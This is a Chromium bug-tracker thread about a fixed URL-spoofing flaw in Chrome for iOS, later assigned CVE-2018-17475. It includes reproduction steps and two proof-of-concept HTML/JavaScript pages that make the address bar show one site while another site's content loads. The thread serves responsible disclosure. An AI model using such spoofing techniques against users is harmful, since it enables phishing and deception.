New issue
Advanced search Search tips
Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Sep 17
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: iOS
Pri: 2
Type: Bug-Security



Sign in to add a comment
link

Issue 852634: Security: Chrome for iOS URL spoofing using location.replace and history.back

Reported by vladimir...@gmail.com, Jun 14 2018

Issue description

VULNERABILITY DETAILS
Attacker could spoof URL using location.replace() behavior.
Seems related to https://bugs.chromium.org/p/chromium/issues/detail?id=805900

1. Page from victim.com calls location.replace(evil.com)
2. Page on evil.com calls history.back()
3. At this point, we've got page with content from evil.com, but URL in address bar is vistim.com

Running PoC in debug build, leads to the page on spoofed url alerts "embedded page...". 
As far as I understood, location.replace(<nextPage>) creates a kind of "intermediate" window on the replaced page, which has <nextPage> as top frame. This "top frame" doesn't have any restriction on embedded resource, so X-FRAME-OPTIONS doesn't work. 

Additionally, no warnings about self-signed cert on victim.com shown in the spoofed page's address bar.

VERSION
Chrome Version: 67.0.3396.69 stable + 69 dev debug
Operating System: iOS 11.4 (15f79), real device

REPRODUCTION CASE

1. Start 2 local servers (localhost:3000 for "3000" folder and localhost:5000 for "5000" folder)
2. Open localhost:3000
3. Navigation to localhost:5000 initiated
4. Page alerts 'I am going back ... 5000' and calls history.back()
5. location in address bar = localhost:3000, "real" location = localhost:5000

evil.com (localhost:5000)
```
<body>
    <script>
        if (document.cookie.includes('here=1')) {
            document.cookie = "here=0";
            alert('This is not localhost:3000, real location:' + location);
        } else {
            document.cookie = 'here=1';
            alert('I am going .back(), real location' + location);
            history.back();
        }
        document.write('<h1>' + location + '</h1>')
    </script>
    <a href="https://www.whatismyreferer.com/" /> What's my referrer?</a>
</body>
```

victim.com (localhost:3000)
```
<body>
    <script>
        window.onload = () => {
            if (location.search === '') {
                // looks like this block is required in most cases 
                // But it's also possible to spoof using location.replace only
                // actually, this snippet was "stolen" from Chrome iOS tests 
                history.replaceState({}, 'reload', '?reload');
                location.reload();
            } else {
                const host = '192.168.0.101' || 'localhost'
                location.replace(`http://${host}:5000`)
            }
        }
    </script>
</body>
```

Screencast attached.
 
video (3).mp4
831 KB View Download
spoof.zip
1.2 KB Download

Comment 2 by wfh@chromium.org, Jun 14 2018

Cc: creis@chromium.org
Components: UI>Browser>Navigation
Labels: Security_Severity-Low Security_Impact-Stable OS-iOS Pri-1
Owner: eugene...@chromium.org
Status: Assigned (was: Unconfirmed)
eugene can you take a look at this please?

Comment 3 by eugene...@chromium.org, Jun 14 2018

Cc: srikanthg@chromium.org
Srikanth, could you please check if this bug is reproducible with slim-navigation-manager

Comment 4 by srikanthg@chromium.org, Jun 14 2018

NOT able to reproduce this with #slim-naviagation-manager enabled.
Tested on 69 ToT, with the given html pages.
Since there is no live pages to test, I tested this on iOS11.4 Simulator.

Comment 5 by eugene...@chromium.org, Jun 14 2018

Labels: M-68
Will be fixed in M68 if we ship slim-naviagation-manager

Comment 6 by sheriffbot@chromium.org, Jun 15 2018

Project Member
Labels: -Pri-1 Pri-2

Comment 7 by eugene...@chromium.org, Jul 10 2018

Cc: danyao@chromium.org
Labels: -M-68 M-69
slim-naviagation-manager was postponed to M69.

Comment 8 by eugene...@chromium.org, Sep 17

Than you for reporting this bug. Is it possible to spoof URL scheme or hostname? Or this vulnerability only affects port?

Comment 9 by vladimir...@gmail.com, Sep 17

It was possible to spoof both scheme and hostname.

I was able to spoof even SSL lock, however, don't have a meaningful PoC to show.

Comment 10 by eugene...@chromium.org, Sep 17

Labels: -M-69 M-70
Thanks! I tested attached PoC with top of the tree and M70 branch. When I load localhost:5000, there is no client redirect to localhost:3000 and the page stays on localhost:5000. So I think this should be fixed in Chrome version 70.

Comment 11 by vladimir...@gmail.com, Sep 17

Confirm that it was fixed.

Comment 12 by eugene...@chromium.org, Sep 17

Status: Fixed (was: Assigned)
Thanks a lot for checking this!

Comment 13 by vladimir...@gmail.com, Sep 18

Any CVE/bounty?

Comment 14 by eugene...@chromium.org, Sep 18

Cc: palmer@chromium.org
This bug will go through reward panel.

Comment 15 by vladimir...@gmail.com, Sep 18

Thanks! 
I often saw CVE is issued before the fix. 
So I've asked about that because maybe the bug isn't valid for VRP or there are some iOS-specific restrictions. Thanks again!

Comment 16 by eugene...@chromium.org, Sep 18

No worries, Vladimir. Thank you for the bug report.

Comment 17 by sheriffbot@chromium.org, Sep 18

Project Member
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 18 by awhalley@chromium.org, Sep 24

Labels: reward-topanel

Comment 19 by awhalley@chromium.org, Sep 27

Labels: -reward-topanel reward-unpaid reward-500
*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.
*********************************

Comment 20 by vladimir...@gmail.com, Sep 28

Great, thanks!

Also, please, could someone check [1]?
That's an already resolved issue about AppleScript on macOS. 
However, nobody replied to my comment, but I think the provided info may be useful for Chrome, even if the impact of this issue is minor.

[1] - https://bugs.chromium.org/p/chromium/issues/detail?id=850261#c_ts1537247459

Comment 21 by awhalley@google.com, Sep 28

Cc: awhalley@chromium.org
Most welcome,  vladimirmetnew@! A member of our finance team will be in touch to arrange payment.  Also, how would you like to be credited in our release notes?

As to [1], would you mind filing that as a new bug? It'll then get picked up by our sheriffs and can be triaged and tracked separately.  Cheers!

Comment 22 by awhalley@chromium.org, Sep 28

Labels: -reward-unpaid reward-inprocess

Comment 23 by vladimir...@gmail.com, Sep 28

I guess "Vladimir Metnew" sounds good for release notes)

Sure, I'll fill a new bug.

Comment 24 by awhalley@google.com, Oct 15

Labels: Release-0-M70

Comment 25 by awhalley@chromium.org, Oct 16

Labels: CVE-2018-17475 CVE_description-missing

Comment 26 by awhalley@chromium.org, Nov 12

Labels: -CVE_description-missing CVE_description-submitted

Comment 27 by sheriffbot@chromium.org, Dec 25

Project Member
Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment